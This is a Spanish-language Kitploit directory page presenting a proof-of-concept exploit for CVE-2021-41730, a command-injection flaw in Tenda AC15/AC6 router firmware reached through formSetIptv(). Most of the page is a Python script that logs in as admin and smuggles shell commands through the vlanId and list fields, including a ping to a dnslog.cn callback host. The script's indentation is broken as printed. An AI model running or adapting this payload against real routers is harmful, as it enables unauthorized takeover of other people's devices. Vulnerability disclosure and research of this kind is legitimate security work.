Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41730 — Exploit de prueba de concepto para CVE-2021-41730, que demuestra la ejecución remota de comandos en routers TENDA AC15/AC6 mediante parámetros no validados de formSetIptv(). Incluye PoC en Python y análisis de vulnerabilidad. | Kitploit
Herramientas/GitHubGitHub/yezeting/cve-2021-41730
Seguridad de Sistemas EmbebidosGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlSeguridad de Hardware e IoT
GitHubyezeting/cve-2021-41730

CVE-2021-41730

Exploit de prueba de concepto para CVE-2021-41730, que demuestra la ejecución remota de comandos en routers TENDA AC15/AC6 mediante parámetros no validados de formSetIptv(). Incluye PoC en Python y análisis de vulnerabilidad.

4hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

TENDA — Ejecución remota de comandos sin autorización

Autor del exploit: SHENGXI HUANG([email protected])
Vendedor: TENDA

CVE-2021-41730 - /bin/httpd

Versión del firmware:
AC15: <=US_AC15V1.0BR_V15.03.05.20_multi_TDE01.bin
AC6: US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.......
Enlace del hardware: https://www.tendacn.com/en/download/detail-3858.html

Detalle de la vulnerabilidad

En el binario httpd, debido a la falta de verificación válida, los atacantes pueden manipular los valores de los campos stbEn, igmpEn, iptvType, vlanId y List en los paquetes para lograr una serie de evasiones, lo que resulta en una vulnerabilidad de ejecución remota arbitraria de comandos.

Función de activación de la vulnerabilidad

formSetIptv()
imagen

Función de activación de la vulnerabilidad real

sub_B0F14() / sub_B1100() imagen

sub_B0F14()

imagen

sub_B1100()

imagen

Interceptación con Burpsuite

imagen

POC

root@kitploit:~
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests

def POC(ip,cmd1,cmd2,pwd):
    try:
        body = {
            'username': 'admin',
            'password': pwd
        }
        headers = {
            'Host': ip,
            'Accept': '*/*',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': 'http://' + ip,
            'Referer': 'http://' + ip + '/login.html',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'close'
        }
        r = requests.post(url="http://" + ip + "/login/Auth",
                          data=body,
                          headers=headers,
                          allow_redirects=False )
        password = r.headers['Set-Cookie'].strip("password=").strip("; path=/")
        try:
            body = {
                'stbEn':'1',
                'igmpEn':'0',
                'iptvType':'manual',
                'vlanId':cmd1,
                'list':cmd2 }
           headers = {
                'Host': ip,
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': 'http://'+ip,
                'Referer': 'http://'+ip+'/iptv.html?random=0.5429353367490362&',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Cookie': 'password='+password,
                'Content-Type':'application/x-www-form-urlencoded'}
           r = requests.post(url="http://" + ip + "/goform/SetIPTVCfg",
                              data=body,
                              headers=headers,
                             allow_redirects=False)
            print(r.text)
       except Exception as e:
           print("[error]:", ip)
    except Exception as e:
        print("[error]:", ip)


if __name__ == "__main__":
    ip = '192.168.0.1'
    cmd1 = '1";ping -c 5 fry8vd.dnslog.cn;echo "'
    cmd2 =  '1";echo 2>/tmp/hello3.txt;echo "'
    password = '21232f297a57a5a743894a0e4a801fc3'
    POC(ip,cmd1,cmd2,password)

DEMO

Ver el video

Descargar herramienta